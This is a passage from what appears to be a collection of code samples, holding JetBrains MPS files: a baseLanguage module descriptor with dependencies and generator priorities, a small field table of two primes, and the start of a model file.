    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<language namespace=\"jetbrains.mps.baseLanguage\" uuid=\"f3061a53-9226-4cc5-a443-f952ceaf5816\" languageVersion=\"12\" moduleVersion=\"0\">\n  <models>\n    <modelRoot contentPath=\"${module}\" type=\"default\">\n      <sourceRoot location=\"languageModels\" />\n    </modelRoot>\n  </models>\n  <facets>\n    <facet type=\"java\">\n      <classes generated=\"true\" path=\"${module}/classes_gen\" />\n    </facet>\n  </facets>\n  <accessoryModels>\n    <model modelUID=\"6354ebe7-c22a-4a0f-ac54-50b52ab9b065/java:java.lang(JDK/)\" />\n  </accessoryModels>\n  <generators>\n    <generator alias=\"java\" namespace=\"jetbrains.mps.baseLanguage#1129914002933\" uuid=\"985c8c6a-64b4-486d-a91e-7d4112742556\">\n      <models>\n        <modelRoot contentPath=\"${module}\" type=\"default\">\n          <sourceRoot location=\"generator/java/templates\" />\n        </modelRoot>\n      </models>\n      <facets>\n        <facet type=\"java\">\n          <classes generated=\"true\" path=\"${module}/generator/classes_gen\" />\n        </facet>\n      </facets>\n      <external-templates />\n      <dependencies>\n        <dependency reexport=\"false\">6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)</dependency>\n        <dependency reexport=\"false\">df345b11-b8c7-4213-ac66-48d2a9b75d88(jetbrains.mps.baseLanguageInternal)</dependency>\n        <dependency reexport=\"false\">2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)</dependency>\n        <dependency reexport=\"false\">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>\n        <dependency reexport=\"false\">52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)</dependency>\n        <dependency reexport=\"false\">f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)</dependency>\n        <dependency reexport=\"false\">8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)</dependency>\n      </dependencies>\n      <languageVersions>\n        <language slang=\"l:f3061a53-9226-4cc5-a443-f952ceaf5816:jetbrains.mps.baseLanguage\" version=\"12\" />\n        <language slang=\"l:fd392034-7849-419d-9071-12563d152375:jetbrains.mps.baseLanguage.closures\" version=\"0\" />\n        <language slang=\"l:83888646-71ce-4f1c-9c53-c54016f6ad4f:jetbrains.mps.baseLanguage.collections\" version=\"1\" />\n        <language slang=\"l:f2801650-65d5-424e-bb1b-463a8781b786:jetbrains.mps.baseLanguage.javadoc\" version=\"2\" />\n        <language slang=\"l:760a0a8c-eabb-4521-8bfd-65db761a9ba3:jetbrains.mps.baseLanguage.logging\" version=\"0\" />\n        <language slang=\"l:a247e09e-2435-45ba-b8d2-07e93feba96a:jetbrains.mps.baseLanguage.tuples\" version=\"0\" />\n        <language slang=\"l:df345b11-b8c7-4213-ac66-48d2a9b75d88:jetbrains.mps.baseLanguageInternal\" version=\"0\" />\n        <language slang=\"l:ceab5195-25ea-4f22-9b92-103b95ca8c0c:jetbrains.mps.lang.core\" version=\"2\" />\n        <language slang=\"l:b401a680-8325-4110-8fd3-84331ff25bef:jetbrains.mps.lang.generator\" version=\"4\" />\n        <language slang=\"l:d7706f63-9be2-479c-a3da-ae92af1e64d5:jetbrains.mps.lang.generator.generationContext\" version=\"2\" />\n        <language slang=\"l:289fcc83-6543-41e8-a5ca-768235715ce4:jetbrains.mps.lang.generator.generationParameters\" version=\"0\" />\n        <language slang=\"l:446c26eb-2b7b-4bf0-9b35-f83fa582753e:jetbrains.mps.lang.modelapi\" version=\"0\" />\n        <language slang=\"l:3a13115c-633c-4c5c-bbcc-75c4219e9555:jetbrains.mps.lang.quotation\" version=\"5\" />\n        <language slang=\"l:13744753-c81f-424a-9c1b-cf8943bf4e86:jetbrains.mps.lang.sharedConcepts\" version=\"0\" />\n        <language slang=\"l:7866978e-a0f0-4cc7-81bc-4d213d9375e1:jetbrains.mps.lang.smodel\" version=\"19\" />\n        <language slang=\"l:c72da2b9-7cce-4447-8389-f407dc1158b7:jetbrains.mps.lang.structure\" version=\"9\" />\n        <language slang=\"l:c7fb639f-be78-4307-89b0-b5959c3fa8c8:jetbrains.mps.lang.text\" version=\"0\" />\n        <language slang=\"l:9ded098b-ad6a-4657-bfd9-48636cfe8bc3:jetbrains.mps.lang.traceable\" version=\"0\" />\n        <language slang=\"l:7a5dda62-9140-4668-ab76-d5ed1746f2b2:jetbrains.mps.lang.typesystem\" version=\"5\" />\n      </languageVersions>\n      <dependencyVersions>\n        <module reference=\"3f233e7f-b8a6-46d2-a57f-795d56775243(Annotations)\" version=\"0\" />\n        <module reference=\"6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)\" version=\"0\" />\n        <module reference=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)\" version=\"0\" />\n        <module reference=\"8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)\" version=\"0\" />\n        <module reference=\"f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)\" version=\"0\" />\n        <module reference=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" version=\"0\" />\n        <module reference=\"52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)\" version=\"0\" />\n        <module reference=\"e39e4a59-8cb6-498e-860e-8fa8361c0d90(jetbrains.mps.baseLanguage.scopes)\" version=\"0\" />\n        <module reference=\"df345b11-b8c7-4213-ac66-48d2a9b75d88(jetbrains.mps.baseLanguageInternal)\" version=\"0\" />\n        <module reference=\"2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)\" version=\"0\" />\n        <module reference=\"ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)\" version=\"0\" />\n        <module reference=\"9ded098b-ad6a-4657-bfd9-48636cfe8bc3(jetbrains.mps.lang.traceable)\" version=\"0\" />\n      </dependencyVersions>\n      <mapping-priorities>\n        <mapping-priority-rule kind=\"strictly_after\">\n          <greater-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-node modelUID=\"r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)\" nodeID=\"3825148134789453017\" />\n            </external-mapping>\n          </greater-priority-mapping>\n          <lesser-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-node modelUID=\"r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)\" nodeID=\"2770522517496730317\" />\n            </external-mapping>\n          </lesser-priority-mapping>\n        </mapping-priority-rule>\n        <mapping-priority-rule kind=\"strictly_together\">\n          <greater-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-node modelUID=\"r:00000000-0000-4000-0000-011c895902cd(jetbrains.mps.baseLanguage.generator.java.main@generator)\" nodeID=\"1201381967720\" />\n            </external-mapping>\n          </greater-priority-mapping>\n          <lesser-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-set>\n                <mapping-set-element>\n                  <mapping-node modelUID=\"r:b4d7d620-6723-4aa2-856b-118497e84e9e(jetbrains.mps.baseLanguage.generator.java.strings@generator)\" nodeID=\"*\" />\n                </mapping-set-element>\n                <mapping-set-element>\n                  <mapping-node modelUID=\"r:00000000-0000-4000-0000-011c895902cb(jetbrains.mps.baseLanguage.generator.java.closures@generator)\" nodeID=\"*\" />\n                </mapping-set-element>\n              </mapping-set>\n            </external-mapping>\n          </lesser-priority-mapping>\n        </mapping-priority-rule>\n        <mapping-priority-rule kind=\"strictly_after\">\n          <greater-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-node modelUID=\"r:00000000-0000-4000-0000-011c895902cd(jetbrains.mps.baseLanguage.generator.java.main@generator)\" nodeID=\"1201381967720\" />\n            </external-mapping>\n          </greater-priority-mapping>\n          <lesser-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-node modelUID=\"r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)\" nodeID=\"3825148134789453017\" />\n            </external-mapping>\n          </lesser-priority-mapping>\n        </mapping-priority-rule>\n        <mapping-priority-rule kind=\"strictly_after\">\n          <greater-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-node modelUID=\"r:564046f4-0d85-4d4e-9463-a44226941947(jetbrains.mps.baseLanguage.generator.java.references@generator)\" nodeID=\"*\" />\n            </external-mapping>\n          </greater-priority-mapping>\n          <lesser-priority-mapping>\n            <generator generatorUID=\"985c8c6a-64b4-486d-a91e-7d4112742556(jetbrains.mps.baseLanguage#1129914002933)\" />\n            <external-mapping>\n              <mapping-node modelUID=\"r:8b84f2f2-3f35-4698-bc08-fafea3caa1b5(jetbrains.mps.baseLanguage.generator.java.properties@generator)\" nodeID=\"*\" />\n            </external-mapping>\n          </lesser-priority-mapping>\n        </mapping-priority-rule>\n      </mapping-priorities>\n    </generator>\n  </generators>\n  <sourcePath />\n  <dependencies>\n    <dependency reexport=\"true\">2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)</dependency>\n    <dependency reexport=\"false\">ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)</dependency>\n    <dependency reexport=\"false\">c72da2b9-7cce-4447-8389-f407dc1158b7(jetbrains.mps.lang.structure)</dependency>\n    <dependency reexport=\"false\">af65afd8-f0dd-4942-87d9-63a55f2a9db1(jetbrains.mps.lang.behavior)</dependency>\n    <dependency reexport=\"false\">6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)</dependency>\n    <dependency reexport=\"false\">d7eb0a2a-bd50-4576-beae-e4a89db35f20(jetbrains.mps.lang.scopes.runtime)</dependency>\n    <dependency reexport=\"true\">e39e4a59-8cb6-498e-860e-8fa8361c0d90(jetbrains.mps.baseLanguage.scopes)</dependency>\n    <dependency reexport=\"false\">443f4c36-fcf5-4eb6-9500-8d06ed259e3e(jetbrains.mps.baseLanguage.classifiers)</dependency>\n    <dependency reexport=\"false\">3f233e7f-b8a6-46d2-a57f-795d56775243(Annotations)</dependency>\n    <dependency reexport=\"false\">c7d01124-66d5-486d-8b50-7fdccb60b839(jetbrains.mps.baseLanguage.util)</dependency>\n    <dependency reexport=\"false\">7a5dda62-9140-4668-ab76-d5ed1746f2b2(jetbrains.mps.lang.typesystem)</dependency>\n    <dependency reexport=\"false\">3a13115c-633c-4c5c-bbcc-75c4219e9555(jetbrains.mps.lang.quotation)</dependency>\n    <dependency reexport=\"false\">a247e09e-2435-45ba-b8d2-07e93feba96a(jetbrains.mps.baseLanguage.tuples)</dependency>\n    <dependency reexport=\"false\">af19274f-5f89-42dd-8f3c-c9932448f7f2(jetbrains.mps.analyzers.runtime)</dependency>\n    <dependency reexport=\"false\">f2801650-65d5-424e-bb1b-463a8781b786(jetbrains.mps.baseLanguage.javadoc)</dependency>\n    <dependency reexport=\"false\">2af156ab-65c1-4a62-bd0d-ea734f71eab6(jetbrains.mps.dataFlow.runtime)</dependency>\n    <dependency reexport=\"false\">1ed103c3-3aa6-49b7-9c21-6765ee11f224(MPS.Editor)</dependency>\n    <dependency reexport=\"false\">20c6e580-bdc5-4067-8049-d7e3265a86de(jetbrains.mps.typesystemEngine)</dependency>\n    <dependency reexport=\"true\">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>\n    <dependency reexport=\"false\">83888646-71ce-4f1c-9c53-c54016f6ad4f(jetbrains.mps.baseLanguage.collections)</dependency>\n    <dependency reexport=\"false\">8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)</dependency>\n    <dependency reexport=\"false\">a0c108f0-1637-416e-a249-3effbaa4c998(jetbrains.mps.baseLanguage.search)</dependency>\n    <dependency reexport=\"false\">34e84b8f-afa8-4364-abcd-a279fddddbe7(jetbrains.mps.editor.runtime)</dependency>\n    <dependency reexport=\"false\">f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)</dependency>\n    <dependency reexport=\"false\">528ff3b9-5fc4-40dd-931f-c6ce3650640e(jetbrains.mps.lang.migration.runtime)</dependency>\n    <dependency reexport=\"false\">ed6d7656-532c-4bc2-81d1-af945aeb8280(jetbrains.mps.baseLanguage.blTypes)</dependency>\n    <dependency reexport=\"false\">90746344-04fd-4286-97d5-b46ae6a81709(jetbrains.mps.lang.migration)</dependency>\n    <dependency reexport=\"false\">52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)</dependency>\n    <dependency reexport=\"false\">c7fb639f-be78-4307-89b0-b5959c3fa8c8(jetbrains.mps.lang.text)</dependency>\n    <dependency reexport=\"false\">8d29d73f-ed99-4652-ae0a-083cdfe53c34(jetbrains.mps.ide.platform)</dependency>\n  </dependencies>\n  <languageVersions>\n    <language slang=\"l:f3061a53-9226-4cc5-a443-f952ceaf5816:jetbrains.mps.baseLanguage\" version=\"12\" />\n    <language slang=\"l:ed6d7656-532c-4bc2-81d1-af945aeb8280:jetbrains.mps.baseLanguage.blTypes\" version=\"0\" />\n    <language slang=\"l:774bf8a0-62e5-41e1-af63-f4812e60e48b:jetbrains.mps.baseLanguage.checkedDots\" version=\"0\" />\n    <language slang=\"l:443f4c36-fcf5-4eb6-9500-8d06ed259e3e:jetbrains.mps.baseLanguage.classifiers\" version=\"0\" />\n    <language slang=\"l:fd392034-7849-419d-9071-12563d152375:jetbrains.mps.baseLanguage.closures\" version=\"0\" />\n    <language slang=\"l:83888646-71ce-4f1c-9c53-c54016f6ad4f:jetbrains.mps.baseLanguage.collections\" version=\"1\" />\n    <language slang=\"l:f2801650-65d5-424e-bb1b-463a8781b786:jetbrains.mps.baseLanguage.javadoc\" version=\"2\" />\n    <language slang=\"l:c7d5b9dd-a05f-4be2-bc73-f2e16994cc67:jetbrains.mps.baseLanguage.lightweightdsl\" version=\"1\" />\n    <language slang=\"l:760a0a8c-eabb-4521-8bfd-65db761a9ba3:jetbrains.mps.baseLanguage.logging\" version=\"0\" />\n    <language slang=\"l:daafa647-f1f7-4b0b-b096-69cd7c8408c0:jetbrains.mps.baseLanguage.regexp\" version=\"0\" />\n    <language slang=\"l:a247e09e-2435-45ba-b8d2-07e93feba96a:jetbrains.mps.baseLanguage.tuples\" version=\"0\" />\n    <language slang=\"l:aee9cad2-acd4-4608-aef2-0004f6a1cdbd:jetbrains.mps.lang.actions\" version=\"4\" />\n    <language slang=\"l:af65afd8-f0dd-4942-87d9-63a55f2a9db1:jetbrains.mps.lang.behavior\" version=\"2\" />\n    <language slang=\"l:3f4bc5f5-c6c1-4a28-8b10-c83066ffa4a1:jetbrains.mps.lang.constraints\" version=\"6\" />\n    <language slang=\"l:e51810c5-7308-4642-bcb6-469e61b5dd18:jetbrains.mps.lang.constraints.msg.specification\" version=\"0\" />\n    <language slang=\"l:47257bf3-78d3-470b-89d9-8c3261a61d15:jetbrains.mps.lang.constraints.rules\" version=\"0\" />\n    <language slang=\"l:5dae8159-ab99-46bb-a40d-0cee30ee7018:jetbrains.mps.lang.constraints.rules.kinds\" version=\"0\" />\n    <language slang=\"l:134c38d4-e3af-4d9e-b069-1c7df0a4005d:jetbrains.mps.lang.constraints.rules.skeleton\" version=\"0\" />\n    <language slang=\"l:3ad5badc-1d9c-461c-b7b1-fa2fcd0a0ae7:jetbrains.mps.lang.context\" version=\"0\" />\n    <language slang=\"l:ea3159bf-f48e-4720-bde2-86dba75f0d34:jetbrains.mps.lang.context.defs\" version=\"0\" />\n    <language slang=\"l:ceab5195-25ea-4f22-9b92-103b95ca8c0c:jetbrains.mps.lang.core\" version=\"2\" />\n    <language slang=\"l:7fa12e9c-b949-4976-b4fa-19accbc320b4:jetbrains.mps.lang.dataFlow\" version=\"1\" />\n    <language slang=\"l:97a52717-898f-4598-8150-573d9fd03868:jetbrains.mps.lang.dataFlow.analyzers\" version=\"0\" />\n    <language slang=\"l:f4ad079d-bc71-4ffb-9600-9328705cf998:jetbrains.mps.lang.descriptor\" version=\"0\" />\n    <language slang=\"l:18bc6592-03a6-4e29-a83a-7ff23bde13ba:jetbrains.mps.lang.editor\" version=\"14\" />\n    <language slang=\"l:64d34fcd-ad02-4e73-aff8-a581124c2e30:jetbrains.mps.lang.findUsages\" version=\"0\" />\n    <language slang=\"l:d7a92d38-f7db-40d0-8431-763b0c3c9f20:jetbrains.mps.lang.intentions\" version=\"1\" />\n    <language slang=\"l:90746344-04fd-4286-97d5-b46ae6a81709:jetbrains.mps.lang.migration\" version=\"2\" />\n    <language slang=\"l:446c26eb-2b7b-4bf0-9b35-f83fa582753e:jetbrains.mps.lang.modelapi\" version=\"0\" />\n    <language slang=\"l:d4615e3b-d671-4ba9-af01-2b78369b0ba7:jetbrains.mps.lang.pattern\" version=\"2\" />\n    <language slang=\"l:3a13115c-633c-4c5c-bbcc-75c4219e9555:jetbrains.mps.lang.quotation\" version=\"5\" />\n    <language slang=\"l:3ecd7c84-cde3-45de-886c-135ecc69b742:jetbrains.mps.lang.refactoring\" version=\"0\" />\n    <language slang=\"l:982eb8df-2c96-4bd7-9963-11712ea622e5:jetbrains.mps.lang.resources\" version=\"2\" />\n    <language slang=\"l:b3551702-269c-4f05-ba61-58060cef4292:jetbrains.mps.lang.rulesAndMessages\" version=\"0\" />\n    <language slang=\"l:d8f591ec-4d86-4af2-9f92-a9e93c803ffa:jetbrains.mps.lang.scopes\" version=\"0\" />\n    <language slang=\"l:0eddeefa-c2d6-4437-bc2c-de50fd4ce470:jetbrains.mps.lang.script\" version=\"1\" />\n    <language slang=\"l:13744753-c81f-424a-9c1b-cf8943bf4e86:jetbrains.mps.lang.sharedConcepts\" version=\"0\" />\n    <language slang=\"l:7866978e-a0f0-4cc7-81bc-4d213d9375e1:jetbrains.mps.lang.smodel\" version=\"19\" />\n    <language slang=\"l:1a8554c4-eb84-43ba-8c34-6f0d90c6e75a:jetbrains.mps.lang.smodel.query\" version=\"3\" />\n    <language slang=\"l:c72da2b9-7cce-4447-8389-f407dc1158b7:jetbrains.mps.lang.structure\" version=\"9\" />\n    <language slang=\"l:c7fb639f-be78-4307-89b0-b5959c3fa8c8:jetbrains.mps.lang.text\" version=\"0\" />\n    <language slang=\"l:b83431fe-5c8f-40bc-8a36-65e25f4dd253:jetbrains.mps.lang.textGen\" version=\"1\" />\n    <language slang=\"l:9ded098b-ad6a-4657-bfd9-48636cfe8bc3:jetbrains.mps.lang.traceable\" version=\"0\" />\n    <language slang=\"l:7a5dda62-9140-4668-ab76-d5ed1746f2b2:jetbrains.mps.lang.typesystem\" version=\"5\" />\n  </languageVersions>\n  <dependencyVersions>\n    <module reference=\"3f233e7f-b8a6-46d2-a57f-795d56775243(Annotations)\" version=\"0\" />\n    <module reference=\"6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)\" version=\"0\" />\n    <module reference=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea(MPS.Core)\" version=\"0\" />\n    <module reference=\"1ed103c3-3aa6-49b7-9c21-6765ee11f224(MPS.Editor)\" version=\"0\" />\n    <module reference=\"498d89d2-c2e9-11e2-ad49-6cf049e62fe5(MPS.IDEA)\" version=\"0\" />\n    <module reference=\"8865b7a8-5271-43d3-884c-6fd1d9cfdd34(MPS.OpenAPI)\" version=\"0\" />\n    <module reference=\"742f6602-5a2f-4313-aa6e-ae1cd4ffdc61(MPS.Platform)\" version=\"0\" />\n    <module reference=\"af19274f-5f89-42dd-8f3c-c9932448f7f2(jetbrains.mps.analyzers.runtime)\" version=\"0\" />\n    <module reference=\"f3061a53-9226-4cc5-a443-f952ceaf5816(jetbrains.mps.baseLanguage)\" version=\"0\" />\n    <module reference=\"ed6d7656-532c-4bc2-81d1-af945aeb8280(jetbrains.mps.baseLanguage.blTypes)\" version=\"0\" />\n    <module reference=\"443f4c36-fcf5-4eb6-9500-8d06ed259e3e(jetbrains.mps.baseLanguage.classifiers)\" version=\"0\" />\n    <module reference=\"fd392034-7849-419d-9071-12563d152375(jetbrains.mps.baseLanguage.closures)\" version=\"0\" />\n    <module reference=\"83888646-71ce-4f1c-9c53-c54016f6ad4f(jetbrains.mps.baseLanguage.collections)\" version=\"0\" />\n    <module reference=\"f2801650-65d5-424e-bb1b-463a8781b786(jetbrains.mps.baseLanguage.javadoc)\" version=\"0\" />\n    <module reference=\"c7d5b9dd-a05f-4be2-bc73-f2e16994cc67(jetbrains.mps.baseLanguage.lightweightdsl)\" version=\"0\" />\n    <module reference=\"52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)\" version=\"0\" />\n    <module reference=\"e39e4a59-8cb6-498e-860e-8fa8361c0d90(jetbrains.mps.baseLanguage.scopes)\" version=\"0\" />\n    <module reference=\"a0c108f0-1637-416e-a249-3effbaa4c998(jetbrains.mps.baseLanguage.search)\" version=\"0\" />\n    <module reference=\"a247e09e-2435-45ba-b8d2-07e93feba96a(jetbrains.mps.baseLanguage.tuples)\" version=\"0\" />\n    <module reference=\"c7d01124-66d5-486d-8b50-7fdccb60b839(jetbrains.mps.baseLanguage.util)\" version=\"0\" />\n    <module reference=\"fdaaf35f-8ee3-4c37-b09d-9efaeaaa7a41(jetbrains.mps.core.tool.environment)\" version=\"0\" />\n    <module reference=\"2af156ab-65c1-4a62-bd0d-ea734f71eab6(jetbrains.mps.dataFlow.runtime)\" version=\"0\" />\n    <module reference=\"34e84b8f-afa8-4364-abcd-a279fddddbe7(jetbrains.mps.editor.runtime)\" version=\"0\" />\n    <module reference=\"8d29d73f-ed99-4652-ae0a-083cdfe53c34(jetbrains.mps.ide.platform)\" version=\"0\" />\n    <module reference=\"2d3c70e9-aab2-4870-8d8d-6036800e4103(jetbrains.mps.kernel)\" version=\"0\" />\n    <module reference=\"af65afd8-f0dd-4942-87d9-63a55f2a9db1(jetbrains.mps.lang.behavior)\" version=\"0\" />\n    <module reference=\"d936855b-48da-4812-a8a0-2bfddd633ac5(jetbrains.mps.lang.behavior.api)\" version=\"0\" />\n    <module reference=\"ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)\" version=\"0\" />\n    <module reference=\"a9e4c532-c5f5-4bb7-99ef-42abb73bbb70(jetbrains.mps.lang.descriptor.aspects)\" version=\"0\" />\n    <module reference=\"90746344-04fd-4286-97d5-b46ae6a81709(jetbrains.mps.lang.migration)\" version=\"0\" />\n    <module reference=\"528ff3b9-5fc4-40dd-931f-c6ce3650640e(jetbrains.mps.lang.migration.runtime)\" version=\"0\" />\n    <module reference=\"446c26eb-2b7b-4bf0-9b35-f83fa582753e(jetbrains.mps.lang.modelapi)\" version=\"0\" />\n    <module reference=\"3a13115c-633c-4c5c-bbcc-75c4219e9555(jetbrains.mps.lang.quotation)\" version=\"0\" />\n    <module reference=\"d7eb0a2a-bd50-4576-beae-e4a89db35f20(jetbrains.mps.lang.scopes.runtime)\" version=\"0\" />\n    <module reference=\"7866978e-a0f0-4cc7-81bc-4d213d9375e1(jetbrains.mps.lang.smodel)\" version=\"1\" />\n    <module reference=\"c72da2b9-7cce-4447-8389-f407dc1158b7(jetbrains.mps.lang.structure)\" version=\"0\" />\n    <module reference=\"c7fb639f-be78-4307-89b0-b5959c3fa8c8(jetbrains.mps.lang.text)\" version=\"0\" />\n    <module reference=\"9ded098b-ad6a-4657-bfd9-48636cfe8bc3(jetbrains.mps.lang.traceable)\" version=\"0\" />\n    <module reference=\"7a5dda62-9140-4668-ab76-d5ed1746f2b2(jetbrains.mps.lang.typesystem)\" version=\"0\" />\n    <module reference=\"8fe4c62a-2020-4ff4-8eda-f322a55bdc9f(jetbrains.mps.refactoring.runtime)\" version=\"0\" />\n    <module reference=\"20c6e580-bdc5-4067-8049-d7e3265a86de(jetbrains.mps.typesystemEngine)\" version=\"0\" />\n  </dependencyVersions>\n  <runtime>\n    <dependency reexport=\"false\">6354ebe7-c22a-4a0f-ac54-50b52ab9b065(JDK)</dependency>\n    <dependency reexport=\"false\">52b81ac7-93fd-4e9e-b972-4995882da6d4(jetbrains.mps.baseLanguage.references.runtime)</dependency>\n  </runtime>\n  <extendedLanguages>\n    <extendedLanguage>ceab5195-25ea-4f22-9b92-103b95ca8c0c(jetbrains.mps.lang.core)</extendedLanguage>\n    <extendedLanguage>9ded098b-ad6a-4657-bfd9-48636cfe8bc3(jetbrains.mps.lang.traceable)</extendedLanguage>\n  </extendedLanguages>\n</language>\n"
  },
  {
    "path": "samples/JetBrains MPS/field_table.mps",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<model ref=\"r:497ff602-8d96-4239-8b0f-254445ada898(xjsnark.field_table)\">\n  <persistence version=\"9\" />\n  <languages>\n    <use id=\"0688d542-e2a3-492c-a31f-0e921fd6a8fb\" name=\"xjsnark\" version=\"0\" />\n  </languages>\n  <imports />\n  <registry>\n    <language id=\"0688d542-e2a3-492c-a31f-0e921fd6a8fb\" name=\"xjsnark\">\n      <concept id=\"7553992366106434257\" name=\"xjsnark.structure.FieldDefTable\" f\nlags=\"ng\" index=\"2D77rp\">\n        <child id=\"7553992366106442399\" name=\"fieldDefinitions\" index=\"2D75qn\" /\n>\n      </concept>\n      <concept id=\"7553992366106434258\" name=\"xjsnark.structure.FieldRecord\" fla\ngs=\"ng\" index=\"2D77rq\">\n        <property id=\"7553992366106438052\" name=\"prime\" index=\"2D74mG\" />\n      </concept>\n    </language>\n    <language id=\"ceab5195-25ea-4f22-9b92-103b95ca8c0c\" name=\"jetbrains.mps.lang\n.core\">\n      <concept id=\"1169194658468\" name=\"jetbrains.mps.lang.core.structure.INamed\nConcept\" flags=\"ng\" index=\"TrEIO\">\n        <property id=\"1169194664001\" name=\"name\" index=\"TrG5h\" />\n      </concept>\n    </language>\n  </registry>\n  <node concept=\"2D77rp\" id=\"3FDiKWYypyY\">\n    <node concept=\"2D77rq\" id=\"4RvoraGGpEM\" role=\"2D75qn\">\n      <property role=\"2D74mG\" value=\"1157920892103562487626974469494075735300861\n43415290314195533631308867097853951\" />\n      <property role=\"TrG5h\" value=\"p256\" />\n    </node>\n    <node concept=\"2D77rq\" id=\"6QM7J$VCJ7G\" role=\"2D75qn\">\n      <property role=\"2D74mG\" value=\"2188824287183927522224640574525727508854836\n4400416034343698204186575808495617\" />\n      <property role=\"TrG5h\" value=\"p\" />\n    </node>\n  </node>\n</model>"
  },
  {
    "path": "samples/JetBrains MPS/model.mps",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<model ref=\"r:ed8e9175-44d1-47ad-9d2b-75c7b10d01f8(jetbrains.mps.samples.customAspect.documentation.runtime)\">\n  <persistence version=\"9\" />\n  <languages>\n    <use id=\"7866978e-a0f0-4cc7-81bc-4d213d9375e1\" name=\"jetbrains.mps.lang.smodel\" version=\"19\" />\n    <use id=\"f3061a53-9226-4cc5-a443-f952ceaf5816\" name=\"jetbrains.mps.baseLanguage\" version=\"12\" />\n  </languages>\n  <imports>\n    <import index=\"ze1i\" ref=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea/java:jetbrains.mps.smodel.runtime(MPS.Core/)\" />\n    <import index=\"wyt6\" ref=\"6354ebe7-c22a-4a0f-ac54-50b52ab9b065/java:java.lang(JDK/)\" implicit=\"true\" />\n  </imports>\n  <registry>\n    <language id=\"f3061a53-9226-4cc5-a443-f952ceaf5816\" name=\"jetbrains.mps.baseLanguage\">\n      <concept id=\"1068498886292\" name=\"jetbrains.mps.baseLanguage.structure.ParameterDeclaration\" flags=\"ir\" index=\"37vLTG\" />\n      <concept id=\"4972933694980447171\" name=\"jetbrains.mps.baseLanguage.structure.BaseVariableDeclaration\" flags=\"ng\" index=\"19Szcq\">\n        <child id=\"5680397130376446158\" name=\"type\" index=\"1tU5fm\" />\n      </concept>\n      <concept id=\"1068580123132\" name=\"jetbrains.mps.baseLanguage.structure.BaseMethodDeclaration\" flags=\"ng\" index=\"3clF44\">\n        <child id=\"1068580123133\" name=\"returnType\" index=\"3clF45\" />\n        <child id=\"1068580123134\" name=\"parameter\" index=\"3clF46\" />\n        <child id=\"1068580123135\" name=\"body\" index=\"3clF47\" />\n      </concept>\n      <concept id=\"1068580123165\" name=\"jetbrains.mps.baseLanguage.structure.InstanceMethodDeclaration\" flags=\"ig\" index=\"3clFb_\" />\n      <concept id=\"1068580123136\" name=\"jetbrains.mps.baseLanguage.structure.StatementList\" flags=\"sn\" stub=\"5293379017992965193\" index=\"3clFbS\" />\n      <concept id=\"1107461130800\" name=\"jetbrains.mps.baseLanguage.structure.Classifier\" flags=\"ng\" index=\"3pOWGL\">\n        <child id=\"5375687026011219971\" name=\"member\" index=\"jymVt\" unordered=\"true\" />\n      </concept>\n      <concept id=\"7812454656619025416\" name=\"jetbrains.mps.baseLanguage.structure.MethodDeclaration\" flags=\"ng\" index=\"1rXfSm\">\n        <property id=\"8355037393041754995\" 